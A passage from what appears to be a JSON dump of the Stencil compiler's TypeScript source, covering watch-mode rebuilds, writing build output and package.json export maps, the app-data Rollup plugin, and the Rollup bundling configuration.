]);\n\n    tsWatchProgram = await createTsWatchProgram(config, onBuild);\n    return watchWaiter;\n  };\n\n  /**\n   * A map of absolute directory paths and their associated {@link d.CompilerFileWatcher} (which contains\n   * the ability to teardown the watcher for the specific directory)\n   */\n  const watchingDirs = new Map<string, d.CompilerFileWatcher>();\n  /**\n   * A map of absolute file paths and their associated {@link d.CompilerFileWatcher} (which contains\n   * the ability to teardown the watcher for the specific file)\n   */\n  const watchingFiles = new Map<string, d.CompilerFileWatcher>();\n\n  /**\n   * Callback method that will execute whenever TS alerts us that a file change\n   * has occurred. This will update the appropriate set with the file path based on the\n   * type of change, and then will kick off a rebuild of the project.\n   *\n   * @param filePath The absolute path to the file in the Stencil project\n   * @param eventKind The type of file change that occurred (update, add, delete)\n   */\n  const onFsChange: d.CompilerFileWatcherCallback = (filePath, eventKind) => {\n    if (tsWatchProgram && !isWatchIgnorePath(config, filePath)) {\n      updateCompilerCtxCache(config, compilerCtx, filePath, eventKind);\n\n      switch (eventKind) {\n        case 'dirAdd':\n          dirsAdded.add(filePath);\n          break;\n        case 'dirDelete':\n          dirsDeleted.add(filePath);\n          break;\n        case 'fileAdd':\n          filesAdded.add(filePath);\n          break;\n        case 'fileUpdate':\n          filesUpdated.add(filePath);\n          break;\n        case 'fileDelete':\n          filesDeleted.add(filePath);\n          break;\n      }\n\n      config.logger.debug(\n        `WATCH_BUILD::fs_event_change - type=${eventKind}, path=${filePath}, time=${new Date().getTime()}`,\n      );\n\n      // Trigger a rebuild of the project\n      tsWatchProgram.rebuild();\n    }\n  };\n\n  /**\n   * Callback method that will execute when TS alerts us that a directory modification has occurred.\n   * This will just call the `onFsChange()` callback method with the same arguments.\n   *\n   * @param filePath The absolute path to the file in the Stencil project\n   * @param eventKind The type of file change that occurred (update, add, delete)\n   */\n  const onDirChange: d.CompilerFileWatcherCallback = (filePath, eventKind) => {\n    if (eventKind != null) {\n      onFsChange(filePath, eventKind);\n    }\n  };\n\n  /**\n   * Utility method to teardown the TS watch program and close/clear all watched files.\n   *\n   * @returns An object with the `exitCode` status of the teardown.\n   */\n  const close = async () => {\n    watchingDirs.forEach((w) => w.close());\n    watchingFiles.forEach((w) => w.close());\n    watchingDirs.clear();\n    watchingFiles.clear();\n\n    if (tsWatchProgram) {\n      tsWatchProgram.program.close();\n      tsWatchProgram = null;\n    }\n\n    const watcherCloseResults: d.WatcherCloseResults = {\n      exitCode: 0,\n    };\n    closeResolver(watcherCloseResults);\n    return watcherCloseResults;\n  };\n\n  const request = async (data: d.CompilerRequest) => compilerRequest(config, compilerCtx, data);\n\n  // Add a definition to the `compilerCtx` for `addWatchFile`\n  // This method will add the specified file path to the watched files collection and instruct\n  // the `CompilerSystem` what to do when a file change occurs (the `onFsChange()` callback)\n  compilerCtx.addWatchFile = (filePath) => {\n    if (isString(filePath) && !watchingFiles.has(filePath) && !isWatchIgnorePath(config, filePath)) {\n      watchingFiles.set(filePath, config.sys.watchFile(filePath, onFsChange));\n    }\n  };\n\n  // Add a definition to the `compilerCtx` for `addWatchDir`\n  // This method will add the specified file path to the watched directories collection and instruct\n  // the `CompilerSystem` what to do when a directory change occurs (the `onDirChange()` callback)\n  compilerCtx.addWatchDir = (dirPath, recursive) => {\n    if (isString(dirPath) && !watchingDirs.has(dirPath) && !isWatchIgnorePath(config, dirPath)) {\n      watchingDirs.set(dirPath, config.sys.watchDirectory(dirPath, onDirChange, recursive));\n    }\n  };\n\n  // When the compiler system destroys, we need to also destroy this watch program\n  config.sys.addDestroy(close);\n\n  return {\n    start,\n    close,\n    on: compilerCtx.events.on,\n    request,\n  };\n};\n\n/**\n * A list of directories that are excluded from being watched for changes.\n */\nconst EXCLUDE_DIRS = ['.cache', '.git', '.github', '.stencil', '.vscode', 'node_modules'];\n\n/**\n * A list of file extensions that are excluded from being watched for changes.\n */\nconst EXCLUDE_EXTENSIONS = [\n  '.md',\n  '.markdown',\n  '.txt',\n  '.spec.ts',\n  '.spec.tsx',\n  '.e2e.ts',\n  '.e2e.tsx',\n  '.gitignore',\n  '.editorconfig',\n];\n\n/**\n * Marks all root files of a Stencil project to be watched for changes. Whenever\n * one of these files is determined as changed (according to TS), a rebuild of the project will execute.\n *\n * @param compilerCtx The compiler context for the Stencil project\n * @param dir The directory to watch for changes\n * @param options The options to watch files in the directory\n * @param options.recursive Whether to watch files recursively\n * @param options.excludeDirNames A list of directories to exclude from being watched\n * @param options.excludeExtensions A list of file extensions to exclude from being watched for changes\n */\nconst watchFiles = async (\n  compilerCtx: d.CompilerCtx,\n  dir: string,\n  options?: {\n    recursive?: boolean;\n    excludeDirNames?: string[];\n    excludeExtensions?: string[];\n  },\n) => {\n  const recursive = options?.recursive ?? true;\n  const excludeDirNames = options?.excludeDirNames ?? EXCLUDE_DIRS;\n  const excludeExtensions = options?.excludeExtensions ?? EXCLUDE_EXTENSIONS;\n\n  /**\n   * non-src files that cause a rebuild\n   * mainly for root level config files, and getting an event when they change\n   */\n  const rootFiles = await compilerCtx.fs.readdir(dir, {\n    recursive,\n    excludeDirNames,\n    excludeExtensions,\n  });\n\n  /**\n   * If the directory is watched recursively, we need to watch the directory itself.\n   */\n  if (recursive) {\n    compilerCtx.addWatchDir(dir, true);\n  }\n\n  /**\n   * Iterate over each file in the collection (filter out directories) and add\n   * a watcher for each\n   */\n  rootFiles.filter(({ isFile }) => isFile).forEach(({ absPath }) => compilerCtx.addWatchFile(absPath));\n};\n\nconst emitFsChange = (compilerCtx: d.CompilerCtx, buildCtx: BuildContext) => {\n  if (\n    buildCtx.dirsAdded.length > 0 ||\n    buildCtx.dirsDeleted.length > 0 ||\n    buildCtx.filesUpdated.length > 0 ||\n    buildCtx.filesAdded.length > 0 ||\n    buildCtx.filesDeleted.length > 0\n  ) {\n    compilerCtx.events.emit('fsChange', {\n      dirsAdded: buildCtx.dirsAdded.slice(),\n      dirsDeleted: buildCtx.dirsDeleted.slice(),\n      filesUpdated: buildCtx.filesUpdated.slice(),\n      filesAdded: buildCtx.filesAdded.slice(),\n      filesDeleted: buildCtx.filesDeleted.slice(),\n    });\n  }\n};\n\nconst updateCompilerCtxCache = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  path: string,\n  kind: d.CompilerFileWatcherEvent,\n) => {\n  compilerCtx.fs.clearFileCache(path);\n  compilerCtx.changedFiles.add(path);\n\n  if (kind === 'fileDelete') {\n    compilerCtx.moduleMap.delete(path);\n  } else if (kind === 'dirDelete') {\n    const fsRootDir = resolve('/');\n    compilerCtx.moduleMap.forEach((_, moduleFilePath) => {\n      let moduleAncestorDir = dirname(moduleFilePath);\n\n      for (let i = 0; i < 50; i++) {\n        if (moduleAncestorDir === config.rootDir || moduleAncestorDir === fsRootDir) {\n          break;\n        }\n\n        if (moduleAncestorDir === path) {\n          compilerCtx.fs.clearFileCache(moduleFilePath);\n          compilerCtx.moduleMap.delete(moduleFilePath);\n          compilerCtx.changedFiles.add(moduleFilePath);\n          break;\n        }\n\n        moduleAncestorDir = dirname(moduleAncestorDir);\n      }\n    });\n  }\n};\n"
  },
  {
    "path": "src/compiler/build/write-build.ts",
    "content": "import { catchError } from '@utils';\n\nimport * as d from '../../declarations';\nimport { outputServiceWorkers } from '../output-targets/output-service-workers';\nimport { validateBuildFiles } from './validate-files';\nimport { writeExportMaps } from './write-export-maps';\n\n/**\n * Writes files to disk as a result of compilation\n * @param config the Stencil configuration used for the build\n * @param compilerCtx the compiler context associated with the build\n * @param buildCtx the build context associated with the current build\n */\nexport const writeBuild = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  const timeSpan = buildCtx.createTimeSpan(`writeBuildFiles started`, true);\n\n  let totalFilesWrote = 0;\n\n  try {\n    // commit all the `writeFile`, `mkdir`, `rmdir` and `unlink` operations to disk\n    const commitResults = await compilerCtx.fs.commit();\n\n    // get the results from the write to disk commit\n    buildCtx.filesWritten = commitResults.filesWritten;\n    buildCtx.filesDeleted = commitResults.filesDeleted;\n    buildCtx.dirsDeleted = commitResults.dirsDeleted;\n    buildCtx.dirsAdded = commitResults.dirsAdded;\n    totalFilesWrote = commitResults.filesWritten.length;\n\n    // successful write\n    // kick off writing the cached file stuff\n    await compilerCtx.cache.commit();\n    buildCtx.debug(`in-memory-fs: ${compilerCtx.fs.getMemoryStats()}`);\n    buildCtx.debug(`cache: ${compilerCtx.cache.getMemoryStats()}`);\n\n    if (config.generateExportMaps) {\n      writeExportMaps(config, buildCtx);\n    }\n\n    await outputServiceWorkers(config, buildCtx);\n    await validateBuildFiles(config, compilerCtx, buildCtx);\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n\n  timeSpan.finish(`writeBuildFiles finished, files wrote: ${totalFilesWrote}`);\n};\n"
  },
  {
    "path": "src/compiler/build/write-export-maps.ts",
    "content": "import {\n  isEligiblePrimaryPackageOutputTarget,\n  isOutputTargetDistCustomElements,\n  isOutputTargetDistLazyLoader,\n} from '@utils';\nimport { relative } from '@utils';\nimport { execSync } from 'child_process';\n\nimport * as d from '../../declarations';\nimport { PRIMARY_PACKAGE_TARGET_CONFIGS } from '../types/validate-primary-package-output-target';\n\n/**\n * Create export map entry point definitions for the `package.json` file using the npm CLI.\n * This will generate a root entry point for the package, as well as entry points for each component and\n * the lazy loader (if applicable).\n *\n * @param config The validated Stencil config\n * @param buildCtx The build context containing the components to generate export maps for\n */\nexport const writeExportMaps = (config: d.ValidatedConfig, buildCtx: d.BuildCtx) => {\n  const eligiblePrimaryTargets = config.outputTargets.filter(isEligiblePrimaryPackageOutputTarget);\n  if (eligiblePrimaryTargets.length > 0) {\n    const primaryTarget =\n      eligiblePrimaryTargets.find((o) => o.isPrimaryPackageOutputTarget) ?? eligiblePrimaryTargets[0];\n    const outputTargetConfig = PRIMARY_PACKAGE_TARGET_CONFIGS[primaryTarget.type];\n\n    if (outputTargetConfig.getModulePath) {\n      const importPath = outputTargetConfig.getModulePath(config.rootDir, primaryTarget.dir!);\n\n      if (importPath) {\n        execSync(`npm pkg set \"exports[.][import]\"=\"${importPath}\"`);\n      }\n    }\n\n    if (outputTargetConfig.getMainPath) {\n      const requirePath = outputTargetConfig.getMainPath(config.rootDir, primaryTarget.dir!);\n\n      if (requirePath) {\n        execSync(`npm pkg set \"exports[.][require]\"=\"${requirePath}\"`);\n      }\n    }\n\n    if (outputTargetConfig.getTypesPath) {\n      const typesPath = outputTargetConfig.getTypesPath(config.rootDir, primaryTarget);\n\n      if (typesPath) {\n        execSync(`npm pkg set \"exports[.][types]\"=\"${typesPath}\"`);\n      }\n    }\n  }\n\n  const distLazyLoader = config.outputTargets.find(isOutputTargetDistLazyLoader);\n  if (distLazyLoader != null) {\n    // Calculate relative path from project root to lazy-loader output directory\n    let outDir = relative(config.rootDir, distLazyLoader.dir);\n    if (!outDir.startsWith('.')) {\n      outDir = './' + outDir;\n    }\n\n    execSync(`npm pkg set \"exports[./loader][import]\"=\"${outDir}/index.js\"`);\n    execSync(`npm pkg set \"exports[./loader][require]\"=\"${outDir}/index.cjs\"`);\n    execSync(`npm pkg set \"exports[./loader][types]\"=\"${outDir}/index.d.ts\"`);\n  }\n\n  const distCustomElements = config.outputTargets.find(isOutputTargetDistCustomElements);\n  if (distCustomElements != null) {\n    // Calculate relative path from project root to custom elements output directory\n    let outDir = relative(config.rootDir, distCustomElements.dir!);\n    if (!outDir.startsWith('.')) {\n      outDir = './' + outDir;\n    }\n\n    buildCtx.components.forEach((cmp) => {\n      execSync(`npm pkg set \"exports[./${cmp.tagName}][import]\"=\"${outDir}/${cmp.tagName}.js\"`);\n\n      if (distCustomElements.generateTypeDeclarations) {\n        execSync(`npm pkg set \"exports[./${cmp.tagName}][types]\"=\"${outDir}/${cmp.tagName}.d.ts\"`);\n      }\n    });\n  }\n};\n"
  },
  {
    "path": "src/compiler/bundle/app-data-plugin.ts",
    "content": "import { createJsVarName, isString, loadTypeScriptDiagnostics, normalizePath } from '@utils';\nimport MagicString from 'magic-string';\nimport { basename } from 'path';\nimport type { LoadResult, Plugin, ResolveIdResult, TransformResult } from 'rollup';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport type { BundlePlatform } from './bundle-interface';\nimport { removeCollectionImports } from '../transformers/remove-collection-imports';\nimport { APP_DATA_CONDITIONAL, STENCIL_APP_DATA_ID, STENCIL_APP_GLOBALS_ID } from './entry-alias-ids';\n\n/**\n * A Rollup plugin which bundles application data.\n *\n * @param config the Stencil configuration for a particular project\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param buildConditionals the set build conditionals for the build\n * @param platform the platform that is being built\n * @returns a Rollup plugin which carries out the necessary work\n */\nexport const appDataPlugin = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  buildConditionals: d.BuildConditionals,\n  platform: BundlePlatform,\n): Plugin => {\n  if (!platform) {\n    return {\n      name: 'appDataPlugin',\n    };\n  }\n  const globalScripts = getGlobalScriptData(config, compilerCtx);\n\n  return {\n    name: 'appDataPlugin',\n\n    resolveId(id: string, importer: string | undefined): ResolveIdResult {\n      if (id === STENCIL_APP_DATA_ID || id === STENCIL_APP_GLOBALS_ID) {\n        if (platform === 'worker') {\n          this.error('@stencil/core packages cannot be imported from a worker.');\n        }\n\n        if (platform === 'hydrate' || STENCIL_APP_GLOBALS_ID) {\n          // hydrate will always bundle app-data and runtime\n          // and the load() fn will build a custom globals import\n          return id;\n        } else if (platform === 'client' && importer && importer.endsWith(APP_DATA_CONDITIONAL)) {\n          // since the importer ends with ?app-data=conditional we know that\n          // we need to build custom app-data based off of component metadata\n          // return the same \"id\" so that the \"load()\" method knows to\n          // build custom app-data\n          return id;\n        }\n        // for a client build that does not have ?app-data=conditional at the end then we\n        // do not want to create custom app-data, but should use the default\n      }\n      return null;\n    },\n\n    async load(id: string): Promise<LoadResult> {\n      if (id === STENCIL_APP_GLOBALS_ID) {\n        const s = new MagicString(``);\n        appendGlobalScripts(globalScripts, s);\n        await appendGlobalStyles(buildCtx, s, platform);\n        return s.toString();\n      }\n      if (id === STENCIL_APP_DATA_ID) {\n        // build custom app-data based off of component metadata\n        const s = new MagicString(``);\n        appendNamespace(config, s);\n        appendBuildConditionals(config, buildConditionals, s);\n        appendEnv(config, s);\n        return s.toString();\n      }\n      if (id !== config.globalScript) {\n        return null;\n      }\n\n      const module = compilerCtx.moduleMap.get(config.globalScript);\n      if (!module) {\n        return null;\n      } else if (!module.sourceMapFileText) {\n        return {\n          code: module.staticSourceFileText,\n          map: null,\n        };\n      }\n\n      const sourceMap: d.SourceMap = JSON.parse(module.sourceMapFileText);\n      sourceMap.sources = sourceMap.sources.map((src) => basename(src));\n      return { code: module.staticSourceFileText, map: sourceMap };\n    },\n\n    transform(code: string, id: string): TransformResult {\n      id = normalizePath(id);\n      if (globalScripts.some((s) => s.path === id)) {\n        const program = this.parse(code, {});\n        const needsDefault = !(program as any).body.some((s: any) => s.type === 'ExportDefaultDeclaration');\n\n        if (needsDefault) {\n          const diagnostic: d.Diagnostic = {\n            level: 'warn',\n            type: 'build',\n            header: 'Missing default export in globalScript',\n            messageText: `globalScript should export a default function.\\nSee: https://stenciljs.com/docs/config#globalscript`,\n            relFilePath: id,\n            lines: [],\n          };\n          buildCtx.diagnostics.push(diagnostic);\n        }\n\n        const defaultExport = needsDefault ? '\\nexport const globalFn = () => {};\\nexport default globalFn;' : '';\n        code = code + defaultExport;\n\n        const compilerOptions: ts.CompilerOptions = { ...config.tsCompilerOptions };\n        compilerOptions.module = ts.ModuleKind.ESNext;\n\n        const results = ts.transpileModule(code, {\n          compilerOptions,\n          fileName: id,\n          transformers: {\n            after: [removeCollectionImports(compilerCtx)],\n          },\n        });\n        buildCtx.diagnostics.push(...loadTypeScriptDiagnostics(results.diagnostics));\n\n        if (config.sourceMap) {\n          // generate the sourcemap for global script\n          const codeMs = new MagicString(code);\n          const codeMap = codeMs.generateMap({\n            source: id,\n            // this is the name of the sourcemap, not to be confused with the `file` field in a generated sourcemap\n            file: id + '.map',\n            includeContent: true,\n            hires: true,\n          });\n\n          return {\n            code: results.outputText,\n            map: {\n              ...codeMap,\n              // MagicString changed their types in this PR: https://github.com/Rich-Harris/magic-string/pull/235\n              // so that their `sourcesContent` is of type `(string | null)[]`. But, it will only return `[null]` if\n              // `includeContent` is set to `false`. Since we explicitly set `includeContent: true`, we can override\n              // the type to satisfy Rollup's type expectation\n              sourcesContent: codeMap.sourcesContent as string[],\n            },\n          };\n        }\n\n        return { code: results.outputText };\n      }\n      return null;\n    },\n  };\n};\n\nexport const getGlobalScriptData = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) => {\n  const globalScripts: GlobalScript[] = [];\n\n  if (isString(config.globalScript)) {\n    const mod = compilerCtx.moduleMap.get(config.globalScript);\n    const globalScript = compilerCtx.version === 2 ? config.globalScript : mod && mod.jsFilePath;\n\n    if (globalScript) {\n      globalScripts.push({\n        defaultName: createJsVarName(config.namespace + 'GlobalScript'),\n        path: normalizePath(globalScript),\n      });\n    }\n  }\n\n  compilerCtx.collections.forEach((collection) => {\n    if (collection.global != null && isString(collection.global.sourceFilePath)) {\n      let defaultName = createJsVarName(collection.collectionName + 'GlobalScript');\n      if (globalScripts.some((s) => s.defaultName === defaultName)) {\n        defaultName += globalScripts.length;\n      }\n      globalScripts.push({\n        defaultName,\n        path: normalizePath(collection.global.sourceFilePath),\n      });\n    }\n  });\n\n  return globalScripts;\n};\n\nconst appendGlobalScripts = (globalScripts: GlobalScript[], s: MagicString) => {\n  if (globalScripts.length === 1) {\n    s.prepend(`import * as appGlobalScriptNs from '${globalScripts[0].path}';\\n`);\n    s.prepend(`const appGlobalScript = appGlobalScriptNs.default || (() => {});\\n`);\n    s.append(`export const globalScripts = appGlobalScript;\\n`);\n  } else if (globalScripts.length > 1) {\n    globalScripts.forEach((globalScript) => {\n      s.prepend(`import * as ${globalScript.defaultName}Ns from '${globalScript.path}';\\n`);\n      s.prepend(`const ${globalScript.defaultName} = ${globalScript.defaultName}Ns.default || (() => {});\\n`);\n    });\n\n    s.append(`export const globalScripts = () => {\\n`);\n    s.append(`  return Promise.all([\\n`);\n    globalScripts.forEach((globalScript) => {\n      s.append(`    ${globalScript.defaultName}(),\\n`);\n    });\n    s.append(`  ]);\\n`);\n    s.append(`};\\n`);\n  } else {\n    s.append(`export const globalScripts = () => {};\\n`);\n  }\n};\n\n/**\n * Appends the global styles to the MagicString.\n *\n * @param buildCtx the build context\n * @param s the MagicString to append the global styles onto\n * @param platform the platform that is being built\n */\nconst appendGlobalStyles = async (buildCtx: d.BuildCtx, s: MagicString, platform: BundlePlatform) => {\n  const { addGlobalStyleToComponents } = buildCtx.config.extras;\n  const shouldIncludeGlobalStyles =\n    addGlobalStyleToComponents === true || (addGlobalStyleToComponents === 'client' && platform === 'client');\n  const globalStyles = buildCtx.config.globalStyle && shouldIncludeGlobalStyles ? await buildCtx.stylesPromise : '';\n  s.append(`export const globalStyles = ${JSON.stringify(globalStyles)};\\n`);\n};\n\n/**\n * Generates the `BUILD` constant that is used at compile-time in a Stencil project\n *\n * **This function mutates the provided {@link MagicString} argument**\n *\n * @param config the configuration associated with the Stencil project\n * @param buildConditionals the build conditionals to serialize into a JS object\n * @param s a `MagicString` to append the generated constant onto\n */\nexport const appendBuildConditionals = (\n  config: d.ValidatedConfig,\n  buildConditionals: d.BuildConditionals,\n  s: MagicString,\n): void => {\n  const buildData = Object.keys(buildConditionals)\n    .sort()\n    .map((key) => key + ': ' + JSON.stringify((buildConditionals as any)[key]))\n    .join(', ');\n\n  s.append(`export const BUILD = /* ${config.fsNamespace} */ { ${buildData} };\\n`);\n};\n\nconst appendEnv = (config: d.ValidatedConfig, s: MagicString) => {\n  s.append(`export const Env = /* ${config.fsNamespace} */ ${JSON.stringify(config.env)};\\n`);\n};\n\nconst appendNamespace = (config: d.ValidatedConfig, s: MagicString) => {\n  s.append(`export const NAMESPACE = '${config.fsNamespace}';\\n`);\n};\n\ninterface GlobalScript {\n  defaultName: string;\n  path: string;\n}\n"
  },
  {
    "path": "src/compiler/bundle/bundle-interface.ts",
    "content": "import type { PreserveEntrySignaturesOption } from 'rollup';\nimport type { SourceFile, TransformerFactory } from 'typescript';\n\nimport type { BuildConditionals } from '../../declarations';\n\n/**\n * Options for bundled output passed on Rollup\n *\n * This covers the ID for the bundle, the platform it runs on, input modules,\n * and more\n */\nexport interface BundleOptions {\n  id: string;\n  conditionals?: BuildConditionals;\n  /**\n   * When `true`, all `@stencil/core/*` packages will be treated as external\n   * and omitted from the generated bundle.\n   */\n  externalRuntime?: boolean;\n  platform: BundlePlatform;\n  /**\n   * A collection of TypeScript transformation factories to apply during the \"before\" stage of the TypeScript\n   * compilation pipeline (before built-in .js transformations)\n   */\n  customBeforeTransformers?: TransformerFactory<SourceFile>[];\n  /**\n   * This is equivalent to the Rollup `input` configuration option. It's\n   * an object mapping names to entry points which tells Rollup to bundle\n   * each thing up as a separate output chunk.\n   *\n   * @see {@link https://rollupjs.org/guide/en/#input}\n   */\n  inputs: { [entryKey: string]: string };\n  /**\n   * A map of strings which are passed to the Stencil-specific loader plugin\n   * which we use to resolve the imports of Stencil project files when building\n   * with Rollup.\n   *\n   * @see {@link loader-plugin:loaderPlugin}\n   */\n  loader?: { [id: string]: string };\n  /**\n   * Duplicate of Rollup's `inlineDynamicImports` output option.\n   *\n   * Creates dynamic imports (i.e. `import()` calls) as a part of the same\n   * chunk being bundled. Rather than being created as separate chunks.\n   *\n   * @see {@link https://rollupjs.org/guide/en/#outputinlinedynamicimports}\n   */\n  inlineDynamicImports?: boolean;\n  inlineWorkers?: boolean;\n  /**\n   * Duplicate of Rollup's `preserveEntrySignatures` option.\n   *\n   * \"Controls if Rollup tries to ensure that entry chunks have the same\n   * exports as the underlying entry module.\"\n   *\n   * @see {@link https://rollupjs.org/guide/en/#preserveentrysignatures}\n   */\n  preserveEntrySignatures?: PreserveEntrySignaturesOption;\n}\n\nexport type BundlePlatform = 'client' | 'hydrate' | 'worker';\n"
  },
  {
    "path": "src/compiler/bundle/bundle-output.ts",
    "content": "import rollupCommonjsPlugin from '@rollup/plugin-commonjs';\nimport rollupJsonPlugin from '@rollup/plugin-json';\nimport rollupNodeResolvePlugin from '@rollup/plugin-node-resolve';\nimport rollupReplacePlugin from '@rollup/plugin-replace';\nimport { createOnWarnFn, isString, loadRollupDiagnostics } from '@utils';\nimport { type ObjectHook, PluginContext, rollup, RollupOptions, TreeshakingOptions } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { lazyComponentPlugin } from '../output-targets/dist-lazy/lazy-component-plugin';\nimport { appDataPlugin } from './app-data-plugin';\nimport type { BundleOptions } from './bundle-interface';\nimport { coreResolvePlugin } from './core-resolve-plugin';\nimport { devNodeModuleResolveId } from './dev-node-module-resolve';\nimport { extFormatPlugin } from './ext-format-plugin';\nimport { extTransformsPlugin } from './ext-transforms-plugin';\nimport { fileLoadPlugin } from './file-load-plugin';\nimport { loaderPlugin } from './loader-plugin';\nimport { pluginHelper } from './plugin-helper';\nimport { serverPlugin } from './server-plugin';\nimport { resolveIdWithTypeScript, typescriptPlugin } from './typescript-plugin';\nimport { userIndexPlugin } from './user-index-plugin';\nimport { workerPlugin } from './worker-plugin';\n\nexport const bundleOutput = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  bundleOpts: BundleOptions,\n) => {\n  try {\n    const rollupOptions = getRollupOptions(config, compilerCtx, buildCtx, bundleOpts);\n    const rollupBuild = await rollup(rollupOptions);\n\n    compilerCtx.rollupCache.set(bundleOpts.id, rollupBuild.cache);\n    return rollupBuild;\n  } catch (e: any) {\n    if (!buildCtx.hasError) {\n      // TODO(STENCIL-353): Implement a type guard that balances using our own copy of Rollup types (which are\n      // breakable) and type safety (so that the error variable may be something other than `any`)\n      loadRollupDiagnostics(config, compilerCtx, buildCtx, e);\n    }\n  }\n  return undefined;\n};\n\n/**\n * Build the rollup options that will be used to transpile, minify, and otherwise transform a Stencil project\n * @param config the Stencil configuration for the project\n * @param compilerCtx the current compiler context\n * @param buildCtx a context object containing information about the current build\n * @param bundleOpts Rollup bundling options to apply to the base configuration setup by this function\n * @returns the rollup options to be used\n */\nexport const getRollupOptions = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  bundleOpts: BundleOptions,\n): RollupOptions => {\n  const nodeResolvePlugin = rollupNodeResolvePlugin({\n    mainFields: ['collection:main', 'jsnext:main', 'es2017', 'es2015', 'module', 'main'],\n    browser: bundleOpts.platform !== 'hydrate',\n    rootDir: config.rootDir,\n    exportConditions: ['default', 'module', 'import', 'require'],\n    extensions: ['.tsx', '.ts', '.mts', '.cts', '.js', '.mjs', '.cjs', '.json', '.d.ts', '.d.mts', '.d.cts'],\n    ...config.nodeResolve,\n  });\n\n  // @ts-expect-error - this is required now.\n  nodeResolvePlugin.resolve = async function () {\n    // Investigate if we can use this to leverage Stencil's in-memory fs\n  };\n\n  // @ts-expect-error - this is required now.\n  nodeResolvePlugin.warn = (log) => {\n    const onWarn = createOnWarnFn(buildCtx.diagnostics);\n    if (typeof log === 'string') {\n      onWarn({ message: log });\n    } else if (typeof log === 'function') {\n      const result = log();\n      if (typeof result === 'string') {\n        onWarn({ message: result });\n      } else {\n        onWarn(result);\n      }\n    } else {\n      onWarn(log);\n    }\n  };\n\n  assertIsObjectHook(nodeResolvePlugin.resolveId);\n  // remove default 'post' order\n  nodeResolvePlugin.resolveId.order = null;\n  const orgNodeResolveId = nodeResolvePlugin.resolveId.handler;\n\n  const orgNodeResolveId2 = (nodeResolvePlugin.resolveId.handler = async function (importee: string, importer: string) {\n    const [realImportee, query] = importee.split('?');\n    const resolved = await orgNodeResolveId.call(\n      nodeResolvePlugin as unknown as PluginContext,\n      realImportee,\n      importer,\n      {\n        attributes: {},\n        isEntry: true,\n      },\n    );\n    if (resolved) {\n      if (isString(resolved)) {\n        return query ? resolved + '?' + query : resolved;\n      }\n      return {\n        ...resolved,\n        id: query ? resolved.id + '?' + query : resolved.id,\n      };\n    }\n    return resolved;\n  });\n  if (config.devServer?.experimentalDevModules) {\n    nodeResolvePlugin.resolveId = async function (importee: string, importer: string) {\n      const resolvedId = await orgNodeResolveId2.call(\n        nodeResolvePlugin as unknown as PluginContext,\n        importee,\n        importer,\n      );\n      return devNodeModuleResolveId(config, compilerCtx.fs, resolvedId, importee);\n    };\n  }\n\n  const beforePlugins = config.rollupPlugins.before || [];\n  const afterPlugins = config.rollupPlugins.after || [];\n\n  const rollupOptions: RollupOptions = {\n    input: bundleOpts.inputs,\n    output: {\n      inlineDynamicImports: bundleOpts.inlineDynamicImports ?? false,\n    },\n\n    plugins: [\n      coreResolvePlugin(\n        config,\n        compilerCtx,\n        bundleOpts.platform,\n        !!bundleOpts.externalRuntime,\n        bundleOpts.conditionals?.lazyLoad ?? false,\n      ),\n      appDataPlugin(config, compilerCtx, buildCtx, bundleOpts.conditionals, bundleOpts.platform),\n      lazyComponentPlugin(buildCtx),\n      loaderPlugin(bundleOpts.loader),\n      userIndexPlugin(config, compilerCtx),\n      typescriptPlugin(compilerCtx, bundleOpts, config),\n      extFormatPlugin(config),\n      extTransformsPlugin(config, compilerCtx, buildCtx),\n      workerPlugin(config, compilerCtx, buildCtx, bundleOpts.platform, !!bundleOpts.inlineWorkers),\n      serverPlugin(config, bundleOpts.platform),\n      ...beforePlugins,\n      nodeResolvePlugin,\n      resolveIdWithTypeScript(config, compilerCtx),\n      rollupCommonjsPlugin({\n        include: /node_modules/,\n        sourceMap: config.sourceMap,\n        transformMixedEsModules: false,\n        ...config.commonjs,\n      }),\n      ...afterPlugins,\n      pluginHelper(config, buildCtx, bundleOpts.platform),\n      rollupJsonPlugin({\n        preferConst: true,\n      }),\n      rollupReplacePlugin({\n        'process.env.NODE_ENV': config.devMode ? '\"development\"' : '\"production\"',\n        preventAssignment: true,\n      }),\n      fileLoadPlugin(compilerCtx.fs),\n    ],\n\n    treeshake: getTreeshakeOption(config, bundleOpts),\n    preserveEntrySignatures: bundleOpts.preserveEntrySignatures ?? 'strict',\n\n    onwarn: createOnWarnFn(buildCtx.diagnostics),\n\n    cache: compilerCtx.rollupCache.get(bundleOpts.id),\n\n    external: config.rollupConfig.inputOptions.external,\n\n    maxParallelFileOps: config.rollupConfig.inputOptions.maxParallelFileOps,\n  };\n\n  return rollupOptions;\n};\n\nconst getTreeshakeOption = (config: d.ValidatedConfig, bundleOpts: BundleOptions): TreeshakingOptions | boolean => {\n  if (bundleOpts.platform === 'hydrate') {\n    return {\n      propertyReadSideEffects: false,\n      tryCatchDeoptimization: false,\n    };\n  }\n\n  const treeshake =\n    !config.devMode && config.rollupConfig.inputOptions.treeshake !== false\n      ? {\n          propertyReadSideEffects: false,\n          tryCatchDeoptimization: false,\n        }\n      : false;\n  return treeshake;\n};\n\nfunction assertIsObjectHook<T>(hook: ObjectHook<T>): asserts hook is { handler: T; order?: 'pre' | 'post' | null } {\n  if (typeof hook !== 'object') throw new Error(`expected the rollup plugin hook ${hook} to be an object`);\n}\n"
  },
  {
    "path": "src/compiler/bundle/constants.ts",
    "content": "export const DEV_MODULE_CACHE_BUSTER = 0;\n\nexport const DEV_MODULE_DIR = `~dev-module`;\n"
  },
  {
    "path": "src/compiler/bundle/core-resolve-plugin.ts",
